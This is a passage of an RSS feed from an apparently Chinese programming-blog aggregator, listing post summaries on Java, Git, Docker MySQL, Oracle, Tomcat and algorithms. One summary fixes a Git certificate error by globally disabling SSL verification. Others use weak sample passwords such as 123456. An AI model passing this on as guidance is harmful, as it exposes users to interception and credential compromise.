name=&#34;timeBetweenEvictionRunsMillis&#34; value=&#34;60000&#34;/&amp;gt; &amp;lt;!-- 配置一个连接在池中最小生存的时间，单位是毫秒 --&amp;gt; &amp;lt;property name=&#34;minEvictableIdleTimeMillis&#34; value=&#34;300000&#34;/&amp;gt; &amp;lt;property name=&#34;validationQuery&#34; value=&#34;SELECT &#39;x&#39;&#34;/&amp;gt; &amp;lt;property name=&#34;testWhileIdle&#34; value=&#34;true&#34;/&amp;gt; &amp;lt;property name=&#34;testOnBorrow&#34; value=&#34;false&#34;/&amp;gt; &amp;lt;property name=&#34;testOnReturn&#34; value=&#34;false&#34;/&amp;gt; &amp;lt;!-- 打开PSCache，并且指定每个连接上PSCache的大小 --&amp;gt; &amp;lt;property name=&#34;poolPreparedStatements&#34; value=&#34;true&#34;/&amp;gt; &amp;lt;property name=&#34;maxPoolPreparedStatementPerConnectionSize&#34; value=&#34;20&#34;/&amp;gt; &amp;lt;property name=&#34;filters&#34; value=&#34;config&#34;/&amp;gt; &amp;lt;property name=&#34;connectionProperties&#34; value=&#34;config.decrypt=true&#34; /&amp;gt; &amp;lt;/bean&amp;gt; &amp;lt;bean id=&#34;readDataSource&#34; parent=&#34;abstractDataSource&#34;&amp;gt; &amp;lt;!-- 基本属性 url、user、password --&amp;gt; &amp;lt;property name=&#34;</description>
    </item>
    <item>
      <title>JAVA 中protected 修饰符 的作用</title>
      <link>https://bchobby.github.io/posts/6a845a2d07b90928b580f5b1d9bd3271/</link>
      <pubDate>Thu, 10 Jan 2019 10:40:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a845a2d07b90928b580f5b1d9bd3271/</guid>
      <description>之前学习C++的类的时候，发现设计一个类时，很少用到protected权限修饰符，一般都用public和private。需要被外部访问到的用public修饰，不需要被外部访问的就用private封装起来，但是学习的时候记得还有一个protected，当时一直搞不明白要多设计一个protected有什么用。&#xA;直到最近在用Java编写一个CTS测试用例，才发现了protected好用的地方。因为最近使用类的继承使用的较多，在进行类的继承的时候，一般都是默认的public继承，也就是继承下来的成员访问权限基本不变，这样的话，如果原先为public的成员，则子类中同样可以用，原先为private的成员，在子类直接调用的时候出现了问题。那这样就有问题了，如果一个成员既需要被子类访问到，又需要能够保护起来，不被外界随意修改，public 和 private 好像都无法很好的解决这个问题，这时候protected 就派上用场了。使用protected 修饰的成员，在继承子类中仍然时protected，仍然可以被访问，但是外界不能对其随意访问，真是太巧妙了。&#xA;看到网上有一种比喻说得挺形象，private是个人秘密，只有自己可用，除自身外的类都不可用，protected是家族秘密，只有父类子类等等有继承关系的可以使用，外界无法使用。而public则是公开的，自身和外界都能使用。</description>
    </item>
    <item>
      <title>Git出现SSL certificate problem: unable to get local issuer certificate</title>
      <link>https://bchobby.github.io/posts/45b93fc47b02435b4ec8c8d58516bba5/</link>
      <pubDate>Thu, 10 Jan 2019 10:12:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45b93fc47b02435b4ec8c8d58516bba5/</guid>
      <description>使用Git进行Clone或者Pull程序的时候会提示，&#xA;SSL certificate problem: unable to get local issuer certificate&#xA;这个是由于Git默认开启了SSL验证，关闭即可；&#xA;解决方式：&#xA;git config --global http.sslVerify false 执行以上git命令，关闭ssl验证。</description>
    </item>
    <item>
      <title>linux JAVA source .bash_profile不生效问题。</title>
      <link>https://bchobby.github.io/posts/322653bc95d55580e7f4c2452ef363e1/</link>
      <pubDate>Wed, 09 Jan 2019 13:49:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/322653bc95d55580e7f4c2452ef363e1/</guid>
      <description>先看java -version&#xA;$java version &#34;1.8.0_111&#34;&#xA;Java(TM) SE Runtime Environment (build 1.8.0_111-b14)&#xA;Java HotSpot(TM) 64-Bit Server VM (build 25.111-b14, mixed mode)&#xA;然后：&#xA;echo $JAVA_HOME&#xA;不一定有&#xA;如果没有，那就要找一下&#xA;先&#xA;$which java&#xA;/usr/bin/java&#xA;再找到/usr/bin/java的超链接位置发现还是超链接&#xA;$ls -lrt /usr/bin/java&#xA;lrwxrwxrwx 1 root root 22 Jul 27 11:43 /usr/bin/java -&amp;gt; /etc/alternatives/java&#xA;再来一次，发现最终位置&#xA;$ls -lrt /etc/alternatives/java&#xA;lrwxrwxrwx 1 root root 35 Jul 27 11:43 /etc/alternatives/java -&amp;gt; /usr/java/jdk1.8.0_111/jre/bin/java&#xA;最后的这个jdk位置就是目前用的java的jdk位置&#xA;/usr/java/jdk1.8.0_111/（这个是我的，你用你自己的）&#xA;移动这个目录，然后设置新环境。&#xA;vi .bash_profile&#xA;追加内容如下：&#xA;export JAVA_HOME=/usr/share/jdk1.7.0_71&#xA;export PATH=$JAVA_HOME/bin:$PATH</description>
    </item>
    <item>
      <title>Dubbo报Waiting server-side response timeout. start time超时错误</title>
      <link>https://bchobby.github.io/posts/c0193623ff88e41c4afbf4c11d50cca1/</link>
      <pubDate>Wed, 09 Jan 2019 13:32:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0193623ff88e41c4afbf4c11d50cca1/</guid>
      <description>Caused by: com.alibaba.dubbo.remoting.TimeoutException: Waiting server-side response timeout. start time: 2019-01-09 13:20:56.806, end time: 2019-01-09 13:20:57.808, client elapsed: 0 ms, server elapsed: 1001 ms, timeout: 1000 ms, request: Request [id=2, version=2.0.0, twoway=true, event=false, broken=false, data=RpcInvocation [methodName=sendSms, parameterTypes=[class java.lang.String, class java.lang.Integer], arguments=[18655357100, 2], attachments={path=com.shsxt.xmjf.api.service.ISmsService, interface=com.shsxt.xmjf.api.service.ISmsService, version=0.0.0}]], channel: /192.168.18.1:65124 -&amp;gt; /192.168.18.1:20880&#xA;在consumer里的servlet-context.xml加入&#xA;&amp;lt;dubbo:consumer timeout=“30000”&amp;gt;&amp;lt;/dubbo:consumer&amp;gt;</description>
    </item>
    <item>
      <title>docker安装MySQL8，目录挂载、配置用户名密码、忽略表名大小写、连接数、特殊字符、时区</title>
      <link>https://bchobby.github.io/posts/87bd589121114a7ea77a0c7653af946e/</link>
      <pubDate>Tue, 08 Jan 2019 11:56:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87bd589121114a7ea77a0c7653af946e/</guid>
      <description>一、环境配置 1、系统：centos7.3&#xA;2、docker版本：Docker version 1.13.1, build 07f3374/1.13.1&#xA;3、MySQL镜像：mysql&#xA;4、MySQL版本：8.0.13&#xA;二、安装部署 1、创建容器&#xA;docker run -di --name=mysql \ -v /usr/local/src/mysql/data:/var/lib/mysql \ -v /usr/local/src/mysql/conf/my.cnf:/etc/mysql/my.cnf \ --privileged=true \ -p 3306:3306 \ -e MYSQL_ROOT_PASSWORD=123456 mysql \ --lower_case_table_names=1 执行效果如图所示：&#xA;2、配置my.cnf&#xA;① 将/usr/local/src/mysql/conf/目录下my.cnf的这个目录删除，rm -rf my.cnf/&#xA;② /usr/local/src/mysql/conf/目录下新建my.cnf文件，文件内容如下所示：&#xA;[client] default-character-set=utf8mb4 [mysql] default-character-set=utf8mb4 [mysqld] pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock datadir = /var/lib/mysql secure-file-priv= NULL # Disabling symbolic-links is recommended to prevent assorted security risks symbolic-links=0 max_connections=10000 default-time_zone=&#39;+8:00&#39; character-set-client-handshake=FALSE character_set_server=utf8mb4 collation-server=utf8mb4_unicode_ci init_connect=&#39;SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci&#39; # Custom config should go here !</description>
    </item>
    <item>
      <title>最全面详细讲解Oracle入门（新手必看）</title>
      <link>https://bchobby.github.io/posts/8837236587a568f071bd8f1e40e1d6d9/</link>
      <pubDate>Mon, 07 Jan 2019 22:01:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8837236587a568f071bd8f1e40e1d6d9/</guid>
      <description>本章内容：&#xA;Ø Oracle介绍&#xA;Ø 安装步骤&#xA;Ø 基本使用&#xA;Ø 用户管理&#xA;一、Oracle数据库简介&#xA;Oracle数据库是Oracle（甲骨文）公司的核心产品，适合于大型项目的开发；银行、电信、电商、金融等各领域都大量使用Oracle数据库。&#xA;Oracle数据库是一种对象关系型数据库，在关系型数据库的基础上，引入了一些面向对象的特性。&#xA;Oracle数据库的产品可以免费下载，其服务是收费的，也就是该数据库用于商业目的时，必须取得Oracle的授权。&#xA;Oracle出现有30年时间，经历了很多版本，目前最新的版本是12c。11g版本是目前比较稳定，很多企业也在使用，所以我们从此版本入门学习，后面的版本基本也不会有太大区别。&#xA;PS：MySQL是Java开发常用的数据库，MySQL的母公司08年被SUN公司收购，而SUN公司09年被Oracle收购，所以MySQL也是Oracle旗下的产品。&#xA;二、Oracle的安装：&#xA;1、可以从Oracle官网下载Oracle安装包&#xA;http://www.oracle.com/technetwork/database/enterprise-edition/downloads/index.html&#xA;2、解压后双击setup.exe文件，弹出界面后选择高级安装&#xA;3、选择企业版&#xA;4、选择安装目录（目录不要包含中文），下面的名称和路径使用默认的就可以。&#xA;5、可以不用填写邮箱，直接下一步选是&#xA;6、Oracle会检查安装环境，可能会有部分失败，下一步选是&#xA;7、直接下一步&#xA;8、直接下一步&#xA;9、设置数据库名，也可以使用默认的&#xA;10、可以调整使用内存、字符集等，这里设置字符集为UTF8&#xA;11、下一步&#xA;12、下一步&#xA;13、下一步&#xA;14、这里为方便起见，可以设置所有账户使用统一口令，用于登录数据库。&#xA;15、接下来就可以开始安装了&#xA;16、安装过程中会自动弹出一些窗体，不需要理会&#xA;17、安装完成后，会出现下面的窗体，点击口令管理&#xA;18、这里将SCOTT账户解除锁定，该账户常用于学习&#xA;19、安装完成后，在Windows的系统服务中会出现几个服务：&#xA;OracleServiceORCL是Oracle的核心服务，启动此服务，Oracle才能使用Oracle***Listener是客户端的监听服务，启动此服务，客户端才能连接OracleDBConsoleorcl是企业控制台B/S程序的后台服务&#xA;三、基本使用&#xA;安装完毕后，可以在Windows命令行输入sqlplus，可以打开Oracle自带的客户端程序sqlplus，一种简单的命令行程序，用于输入各种SQL命令用于管理数据库。&#xA;进入sqlplus需要输入用户名和密码，Oracle自带几个用户：&#xA;sys 和system都是系统管理员（DBA），拥有最大的权限，密码是安装时设置的；scott是普通用户，拥有一些用于学习的表，初始密码是tiger。&#xA;下面使用system登录系统：&#xA;常用命令：&#xA;show user; 显示当前用户名&#xA;shutdown immediate; 关闭数据库&#xA;startup open; 启动数据库&#xA;用户连接：&#xA;conn 用户名/密码@连接字符串 as 角色&#xA;1）角色是权限的集合，以下是三个内置角色：&#xA;sysdba 数据库管理员，拥有最多权限，包括：打开和关闭、备份和恢复数据库、日志管理、会话管理、创建数据库、用户管理等。&#xA;sysoper 数据库操作员，包括权限：打开和关闭、备份和恢复数据库、日志管理、会话管理。&#xA;normal 普通用户，只有查询表的权限。&#xA;2）连接字符串用于指定服务器的地址，如果连接本机，可以不写。如果需要连接登录远程服务器，则需要加上。&#xA;3）设置连接字符串的方法：&#xA;1、在Oracle的安装目录下，找到tnsnames.ora文件；&#xA;位置在Oracle目录\product\11.1.0\db_2\NETWORK\ADMIN下，如：C:\app\ch\product\11.1.0\db_2\NETWORK\ADMIN。</description>
    </item>
    <item>
      <title>java.lang.IllegalArgumentException: ServletContext must not be null</title>
      <link>https://bchobby.github.io/posts/afd132ec182a885db6246cba37677a0b/</link>
      <pubDate>Mon, 07 Jan 2019 16:19:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afd132ec182a885db6246cba37677a0b/</guid>
      <description> 系统刚刚整合了redis，实现集群下 session共享， 今天突然发现上传模块出现 无法获取servletcontext的问题，错误如下&#xA;07-Jan-2019 15:55:06.106 SEVERE [http-nio-7777-exec-9] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [insurance_web_servlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.IllegalArgumentException: ServletContext must not be null] with root cause java.lang.IllegalArgumentException: ServletContext must not be null at org.springframework.util.Assert.notNull(Assert.java:112) at org.springframework.web.util.WebUtils.getTempDir(WebUtils.java:212) at org.springframework.web.multipart.commons.CommonsMultipartResolver.setServletContext(CommonsMultipartResolver.java:117) at org.springframework.web.multipart.commons.CommonsMultipartResolver.&amp;lt;init&amp;gt;(CommonsMultipartResolver.java:87) at com.jufengad.insurance.api.global.file.DoUploadFile.upload(DoUploadFile.java:45) at com.jufengad.insurance.web.controller.file.UploadController.rateFileUpload(UploadController.java:108) at com.jufengad.insurance.web.controller.file.UploadController$$FastClassBySpringCGLIB$$8dd8eb86.invoke(&amp;lt;generated&amp;gt;) at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:711) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.apache.shiro.spring.security.interceptor.AopAllianceAnnotationsAuthorizingMethodInterceptor$1.proceed(AopAllianceAnnotationsAuthorizingMethodInterceptor.java:82) 之前获取上下文时，是通过httprequest session获取， 当session存储在redis时，获取上下文失败&#xA;request.getSession().getServletContext() 直接从request里获取就好，不用再从session里获取，&#xA;request.getServletContext() </description>
    </item>
    <item>
      <title>推荐 ： 利用深度学习和机器学习预测股票市场（附代码）</title>
      <link>https://bchobby.github.io/posts/e379514e8a337fb67531a45e07881eab/</link>
      <pubDate>Mon, 07 Jan 2019 10:09:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e379514e8a337fb67531a45e07881eab/</guid>
      <description>来源：AISHWARYA SINGH, 2018年10月25日；翻译：赵雪尧；校对：车前子&#xA;本文约8000字，建议阅读15+分钟。&#xA;本文介绍了如何运用深度学习法预测股票市场。&#xA;简介 预测股市将如何变化历来是最困难的事情之一。这个预测行为中包含着如此之多的因素—包括物理或心理因素、理性或者不理性行为因素等等。所有这些因素结合在一起，使得股价波动剧烈，很难准确预测。&#xA;使用机器学习可能改变游戏规则吗？机器学习技术使用最新的组织公告、季度收益等作为特征，有潜力挖掘出我们以前没有见过的模式和见解，并可用于准确无误的预测。&#xA;在本文中，我们将研究上市公司股价的历史数据。我们将结合机器学习算法来预测这家公司的未来股价，从平均和线性回归这样的简单算法开始，然后转向像Auto ARIMA和LSTM这样的高级模型。&#xA;本文背后的核心思想是展示这些算法是如何实现的，因此我只会简单描述该技术并提供相关参考链接，以便在必要时对这些概念进行复习。如果您是时间序列领域的新手，我建议您先阅读以下文章:&#xA;创建时间序列预测的初学者综合指南&#xA;时间序列建模的完整教程&#xA;目录 1、 问题理解&#xA;2、 移动平均&#xA;3、 线性回归&#xA;4、 K-近邻&#xA;5、 自动ARIMA&#xA;6、 先知（Prophet）&#xA;7、 长短时记忆网络（LSTM）&#xA;1、问题理解 我们将很快深入本文的实现部分，但首先重要的是确定我们要解决的问题。一般来说，股票市场分析分为两个部分——基本面分析和技术分析。&#xA;基本面分析是根据公司目前的经营环境和财务状况，对公司未来的盈利能力进行分析。&#xA;技术分析包括阅读图表和使用统计数字来确定股票市场的趋势。&#xA;您可能已经猜到，我们的重点将放在技术分析部分。我们将使用来自Quandl的数据集(您可以在这里找到各种股票的历史数据)，这个项目中，我使用了“塔塔全球饮料”的数据。是时候开始了!&#xA;首先让我们加载数据集，定义问题的目标变量:&#xA;#import packages&#xA;import pandas as pd&#xA;import numpy as np&#xA;#to plot within notebook&#xA;import matplotlib.pyplot as plt&#xA;%matplotlib inline&#xA;#setting figure size&#xA;from matplotlib.pylab import rcParams&#xA;rcParams[&#39;figure.figsize&#39;] = 20,10&#xA;#for normalizing data&#xA;from sklearn.preprocessing import MinMaxScaler</description>
    </item>
    <item>
      <title>Quartus (Quartus Prime 18.1)的安装及仿真步骤</title>
      <link>https://bchobby.github.io/posts/4f83e455a927110a6200a427ad625a47/</link>
      <pubDate>Sun, 06 Jan 2019 21:57:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f83e455a927110a6200a427ad625a47/</guid>
      <description>前两天做计组的课设需要用到Quartus 这个软件，但安装有点麻烦，在网上搜了很多教程，发现都是旧版本的，最后弄了好半天才把环境搭建好。所以，分享一下它的搭建过程。&#xA;因为我不经常用它，所以安装的版本是精简版的其他版本的也应该差不多以下是需要下载的安装包：&#xA;准备： Quartus Prime 精简版，最新发布: v18.1 1. QuartusLiteSetup-18.1.0.625-windows.exe（主程序） http://download.altera.com/akdlm/software/acdsinst/18.1std/625/ib_installers/QuartusLiteS etup-18.1.0.625-windows.exe&#xA;2. ModelSimSetup-18.1.0.625-windows.exe（仿真软件） http://download.altera.com/akdlm/software/acdsinst/18.1std/625/ib_installers/ModelSimSet up-18.1.0.625-windows.exe&#xA;3. MAX II, MAX V device support （Devices 包，除了 CPU 设计外，MAX V 够了） http://download.altera.com/akdlm/software/acdsinst/18.1std/625/ib_installers/max- 18.1.0.625.qdz&#xA;4. Cyclone-18.1.0.625.qdz （也是Devices 包，根据需要下载） http://download.altera.com/akdlm/software/acdsinst/18.1std/625/ib_installers/cyclone- 18.1.0.625.qdz 上面的下载地址好像出了问题，可以去&#xA;http://fpgasoftware.intel.com/?edition=lite&amp;amp;platform=windows&amp;amp;download_manager=direct&amp;amp;direct_download=1&amp;amp;version_number=17.0&amp;amp;description=Quartus+Prime+%28includes+Nios+II+EDS%29&amp;amp;download_method=download&amp;amp;filesize=1851290979&amp;amp;direct_file=QuartusLiteSetup-17.0.0.595-windows.exe&#xA;这个地址去找相应的文件下载。&#xA;安装步骤： 把所有安装包放进一个目录，方便安装&#xA;然后打开QuartusLiteSetup-18.1.0.625-windows.exe，点next就行&#xA;剩下一直next就行，选地址，我选的E盘&#xA;放在一起，它会帮你选好，直接next&#xA;后边就等待下载安装就行了。&#xA;安装完毕。&#xA;打开Quartus (Quartus Prime 18.1) ps：第一次打开会出现什么 license 根据需要自己选吧，我选的第二个没用license&#xA;设置ModelSim 路径&#xA;找到ModelSim 的路径复制&#xA;在菜单选择 Tool-&amp;gt;option-&amp;gt;EDA Tool Option，把路径复制到中间的 ModelSim 的框框中&#xA;ps：不加最后那个斜杠在我的电脑上会出错，但我在其他电脑上用不加就没事，视情况而定吧&#xA;点确定，然后环境就配置完了&#xA;软件的使用 新建&#xA;写代码保存，注意文件名</description>
    </item>
    <item>
      <title>报错：unrecognized command line option ‘-std=c&#43;&#43;11’</title>
      <link>https://bchobby.github.io/posts/b544d85c9e254fb52729d3622d138602/</link>
      <pubDate>Sun, 06 Jan 2019 17:40:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b544d85c9e254fb52729d3622d138602/</guid>
      <description>使用命令查看g++版本。&#xA;root@ubuntu:/home/neo# g++ --version g++ (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3 Copyright (C) 2011 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. root@ubuntu:/home/neo# ubuntu系统中是4.6.3版本，不支持c++11。-std=c++11至少需要4.8的版本&#xA;下载“gcc-4.8.2.tar.gz”安装包:&#xA;https://ftp.gnu.org/gnu/gcc/gcc-4.8.2/&#xA;下载完之后解压、运行脚本。&#xA;tar -vxf gcc-4.8.2.tar.bz2 cd gcc-4.8.2/contrib/ ./download_prerequisites cd .. mkdir __install cd __install/ ../configure --enable-checking=release --enable-languages=c,c++ --disable-multilib make &amp;amp; make install 在运行上述命令过程中会报如下错误：&#xA;configure: error: Building GCC requires GMP 4.</description>
    </item>
    <item>
      <title>Zookeeper  Curator 事件监听 - 10分钟看懂</title>
      <link>https://bchobby.github.io/posts/0452ea8d438f23bba9542ebe1f3c29b6/</link>
      <pubDate>Sun, 06 Jan 2019 12:57:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0452ea8d438f23bba9542ebe1f3c29b6/</guid>
      <description>文章很长，建议收藏起来，慢慢读! 备注：持续更新中…&#xA;疯狂创客圈 经典图书 ： 《Netty Zookeeper Redis 高并发实战》 面试必备 + 大厂必备 + 涨薪必备疯狂创客圈 经典图书 ： 《SpringCloud、Nginx高并发核心编程》 面试必备 + 大厂必备 + 涨薪必备疯狂创客圈 价值1000元 百度网盘资源大礼包，免费拿 【博客园总入口 】 文章目录 价值连城：2021春招月薪过5万 面试题 系列万字长文： 疯狂创客圈 springCloud 高并发系列写在前面1.1. **Curator 事件监听**1.1.1. Watcher 标准的事件处理器1.1.2. NodeCache 节点缓存的监听1.1.3. PathChildrenCache 子节点监听1.1.4. Tree Cache 节点树缓存写在最后疯狂创客圈 亿级流量 高并发IM 实战 系列 价值连城：2021春招月薪过5万 面试题 系列 搞定下面这些面试题，2021春招月薪过5万(猛！)阿里、京东、美团、头条… 随意挑、横着走！！！Java基础1： JVM面试题（史上最强、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14365820.html2：Java基础面试题（史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14366081.html3：死锁面试题（史上最强、持续更新）[https://www.cnblogs.com/crazymakercircle/p/14323919.html]4：设计模式面试题 （史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14367101.html5：架构设计面试题 （史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14367907.html还有 10 几篇 篇价值连城 的面试题具体… 请参见【 疯狂创客圈 高并发 总目录 】 万字长文： 疯狂创客圈 springCloud 高并发系列 springCloud 高质量 博文 nacos 实战（史上最全） sentinel （史上最全+入门教程） springcloud + webflux 高并发实战 Webflux（史上最全） SpringCloud gateway （史上最全）还有 10 几篇 万字长文 的高质量 博文具体… 请参见【 疯狂创客圈 高并发 总目录 】 写在前面 ​ 大家好，我是作者尼恩。目前和几个小伙伴一起，组织了一个高并发的实战社群【疯狂创客圈】。正在开始高并发、亿级流程的 IM 聊天程序 学习和实战</description>
    </item>
    <item>
      <title>部署工具(deploy-tool)开源拉！</title>
      <link>https://bchobby.github.io/posts/991a2d0e18b6b0e348097fbbf3383027/</link>
      <pubDate>Fri, 04 Jan 2019 11:39:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/991a2d0e18b6b0e348097fbbf3383027/</guid>
      <description>文章目录 概述部署工具介绍面向用户功能特性在线文档快速使用问题及反馈License 概述 部署工具(deploy-tool)开源拉！你是否在为项目的私有部署烦恼？是否每次项目部署都得重复设置配置？是否每次部署都需要来回调试？部署工具(deploy-tool)就是为了解决此问题而出现。现把它开源，旨在帮助用户在私有部署繁琐的问题，欢迎使用。开源地址如下：&#xA;github: https://github.com/mianshenglee/deploy-tool&#xA;码云: https://gitee.com/mianshenglee/deploy-tool&#xA;部署工具介绍 对于产品部署，特别是项目型的产品在客户环境私有化部署，若是手动部署，需要自己打包产品，配置程序，安装环境，相对来讲部署过程复杂，配置文件繁琐，配置容易出错。部署工具的主要目的是固化原来手工部署的流程，并提供简化、统一的配置项，分产品、环境、模块进行自动部署。本部署工具主要用于帮助产品实施人员更快，更好，更有条理部署应用产品。&#xA;面向用户 使用部署工具，主要是固化原来手工部署的流程，并提供简化、统一的配置项，分产品、环境、模块进行自动部署，面向的对象主要包括：&#xA;产品发布人员：管理产品版本，管理产品分发，根据情况修改部署工具环境、流程、配置项。产品部署人员：内部产品部署、测试。项目实施人员：项目实施部署。 功能特性 部署工具主要有以下功能：&#xA;固化部署流程：各个产品部署流程都不一样，部署什么环境、产品包含什么模块，各模块安装顺序如何，均在在部署工具中进行设置、固化，以便部署实施人员使用。提供简化、统一配置项：在一套产品中，需要配置的项可以集中在统一、简化的配置文件，产品中各模块需要修改的配置均可在配置此文件中进行读取，替换即可。分产品、环境、模块进行操作：部署需要安装的环境、产品模块均可自定义，并在部署的命令行界面中显示及运行。支持windows及linux下运行部署。提供shell/bat执行功能：可自定义部署脚本，并在部署工具中运行。提供数据库脚本执行功能：包括数据CURD操作。提供ssl证书生成功能：可对https需要的证书进行自签操作。提供配置文件替换功能：可按模板替换/按xml局部查找替换/properties文件key匹配替换。提供生成二维码功能：可根据参数生成二维码。提供动态配置项功能：某些配置需要根据已的配置计算或变换得出。查看统一配置文件内容。 在线文档 在线帮助文档linux使用示例 提取码：l8qu，压缩包中有使用帮助文档readme.txt，按里面说明操作即可。windows使用示例 提取码：kohq，压缩包中有使用帮助文档readme.txt，按里面说明操作即可。 快速使用 下载代码到本地使用idea或eclipse引入工程，使用mvn clean package进行打包打包出来的deploy-tool.jar即为部署工具具体使用示例请见在线文档及相关示例说明 问题及反馈 使用过程中问题可发邮件到mianshenglee@foxmail.com&#xA;License deploy-tool 使用 Apache 2.0 license. 具体请查看 Apache License 2.0 。</description>
    </item>
    <item>
      <title>Windows无线网“无法连接到这个网络”的解决办法</title>
      <link>https://bchobby.github.io/posts/86d0a2a18ab9714a97f186328638eee7/</link>
      <pubDate>Fri, 04 Jan 2019 09:59:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86d0a2a18ab9714a97f186328638eee7/</guid>
      <description>问题：重启了路由器然后连不上wifi,报错无法连接到这个网络&#xA;1、右击想要连接的wifi,然后点【忘记】，重新连接。&#xA;2、重启“WLAN Autoconfig”这个服务,【服务】在【计算机管理】中。&#xA;3、用手机连WiFi，打开路由器的后台管理界面（192.168.0.1），将“信道”由原来的Auto改成了1。&#xA;转：https://www.cnblogs.com/jloveu/p/solution-of-fail-to-connect-to-the-network.html</description>
    </item>
    <item>
      <title>tomcat中的webapps文件夹和ROOT文件的区别和作用</title>
      <link>https://bchobby.github.io/posts/6d0d586cee451404b8b1073bfcc6fbf4/</link>
      <pubDate>Thu, 03 Jan 2019 18:06:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d0d586cee451404b8b1073bfcc6fbf4/</guid>
      <description> 我们平时在服务器上部署web项目时，直接将war包扔到tomcat中的webapps文件下后重启tomcat后，war包会自动解压，这时访问项目的地址是ip+端口+项目名称就可以，如果你要去除项目名有2种方法：&#xA;1.将解压后的项目war包文件放到ROOT文件夹下，这里注意：不要把整个项目war包文件夹扔进去，这样是会访问不到报404的，这样访问项目就可以是ip+端口号了，还有就是每次更新war包后要同步更新ROOT文件夹下面的项目文件，不然ip+端口号和ip+端口号+项目名称看到的东西是不一样的.&#xA;2.不用将解压后的war包项目文件放到ROOT文件，更改tomcat中的conf文件夹下的server.xml文件。更改如下：在文件最下面的host标签中最后面新加我注释的这行，其中docBase是你webapps下的解压项目路径。&#xA;&amp;lt;Context path=&#34;/&#34; docBase=&#34;/usr/tomcat/apache-tomcat-7.0.92/webapps/jeeplus/&#34; reloadable=&#34;true&#34; crossContext=&#34;true&#34; /&amp;gt;&#xA;注意：ROOT文件删除后。tomcat启动后还是会生成的。刚开始访问tomcat时看到的猫页面的文件就是在ROOT文件夹下的。 </description>
    </item>
    <item>
      <title>动态规划-最大子数组</title>
      <link>https://bchobby.github.io/posts/53099144b46b5f2ae5009d224470a4b7/</link>
      <pubDate>Thu, 03 Jan 2019 17:21:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53099144b46b5f2ae5009d224470a4b7/</guid>
      <description>题目： 给定一个整数数组，找出和最大的子数组，返回其和。例如，（1,-2,3,5,-1,2）最大子数组（3,5,-1,2），和为9.&#xA;分析： 利用动态规划，记Sum[i]表示以A[i]结尾的子数组中的和最大子数组。Sum[i+1]呢？&#xA;考虑Sum[i]的情况，若Sum[i]&amp;gt;0（即Sum[i]+A[i+1]&amp;gt;A[i+1]），则Sum[i+1]=Sum[i]+A[i+1]；&#xA;若Sum[i]&amp;lt;0（即Sum[i]+A[i+1]&amp;lt;A[i+1]）则Sum[i+1]=A[i+1]；当然，相等时取任意一个即可。&#xA;由此可知，Sum[i+1]=max(Sum[i]+A[i+1]，A[i+1])；&#xA;MaxSubArr(int A[], int &amp;amp;n)参数：数组A，数组大小n。时间复杂度：O（n）&#xA;代码： //查找最大子数组函数 int MaxSubArr(int A[],int &amp;amp;n) { int Sum; Sum = A[0]; for (int i = 1;i &amp;lt; n;i++) Sum = max(Sum + A[i], A[i]); return Sum; } 全部代码： /* Project: dp_muxSubArr Date: 2018/01/03 Author: Frank Yu 题目：给定一个整数数组，找出和最大得的子数组，返回其和。例如，（1,-2,3,5,-1,2）最大子数组（3,5,-1,2），和为9. 分析：利用动态规划，记Sum[i]表示以A[i]结尾的子数组中的和最大子数组。Sum[i+1]呢？ 考虑Sum[i]的情况，若Sum[i]&amp;gt;0（即Sum[i]+A[i+1]&amp;gt;A[i+1]），则Sum[i+1]=Sum[i]+A[i+1]； 若Sum[i]&amp;lt;0（即Sum[i]+A[i+1]&amp;lt;A[i+1]）则Sum[i+1]=A[i+1]；当然，相等时取任意一个即可。 由此可知，Sum[i+1]=max(Sum[i]+A[i+1]，A[i+1])； MaxSubArr(int A[], int &amp;amp;n)参数：数组A，数组大小n。时间复杂度：O（n） */ #include&amp;lt;cstdio&amp;gt; #include&amp;lt;cstdlib&amp;gt; #include&amp;lt;cstring&amp;gt; #include&amp;lt;cmath&amp;gt; #include&amp;lt;algorithm&amp;gt; #include&amp;lt;iostream&amp;gt; #define MaxSize 100 #define Status int using namespace std; int n = 0; int A[MaxSize]; //***************************基本操作函数*******************************// //初始化数组函数，构造一个空的数组 Status InitArray(int A[]) { memset(A, 0, sizeof(A));//初始化数据为0 return 0; } //创建数组函数 初始化前n个数据 bool CreatArray(int A[], int &amp;amp;n) { if (n&amp;lt;0 || n&amp;gt;MaxSize)false;//n非法 for (int i = 0;i&amp;lt;n;i++) { scanf_s(&#34;</description>
    </item>
    <item>
      <title>理解cassandra架构</title>
      <link>https://bchobby.github.io/posts/510f1107d9e7ea3a5038a14df0bf5ddf/</link>
      <pubDate>Wed, 02 Jan 2019 09:04:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/510f1107d9e7ea3a5038a14df0bf5ddf/</guid>
